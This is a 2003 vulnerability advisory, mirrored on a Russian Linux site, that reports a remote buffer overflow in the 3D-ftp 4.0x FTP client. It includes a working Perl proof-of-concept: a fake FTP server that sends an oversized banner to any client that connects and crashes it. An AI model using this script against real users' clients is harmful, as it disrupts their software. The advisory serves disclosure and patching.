The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Buffer overflow in 3D-ftp


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 28 Apr 2003 14:58:03 +0400
From: Over_G <[email protected]>
To: [email protected], [email protected]
Subject: Buffer overflow in 3D-ftp

Product: 3D-ftp Client
Version: 4.0x
OffSite: http://www.sitegallery.net/
Problem: Remote buffer overflow
------------------------------------------

3D-ftp - Quite good Windows FTP Client. FTP Client have many opportunities

Remote buffer overflow will take place if server send long banner >= 8192
Client can not process these data and he is crash! 

Fix: Download new version.

Sample exploit in perl. For Crash 3D-ftp use: ftpbanex.pl 8193






#!/usr/bin/perl
########################################################
#
# Banner Buffer Overflow remote exploit in FTP Clients
#
#
#                by Over_G [DWC Gr0up]
#
#         www.dwcgr0up.com      www.overg.com
#########################################################
use IO::Socket;
$port = "21";
$data = "a";
$bsize = $ARGV[0];

print "\n  Banner Buffer Overflow remote exploit in FTP Clients\n\n";
print "           by Over G[DWC Gr0up]\n";
print "     www.dwcgr0up.com www.overg.com\n\n";

if (defined $bsize) {}
 else {
  print "Incorrect parameters.\n";
  die "Usage: perl ftpbanex.pl [buffer_size]\n";
}
print "Creating server...\n";
$buf .= $data x $bsize;
$server = IO::Socket::INET->new(LocalPort => $port, Type =>
SOCK_STREAM, Reuse => 1, Listen => 2)
or die "Couldn't create server.\n";
print "Awayting connections...\n";
while ($client = $server->accept())
{
 print "Client connected.\n";
 print "Attacking...";
 print $client "$buf";
 print "OK\n";
 close($client);
}





Greetz to: DHGroup, Gipshack.

www.overg.com www.dwcgr0up.com
regards, Over G[DWC Gr0up]


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру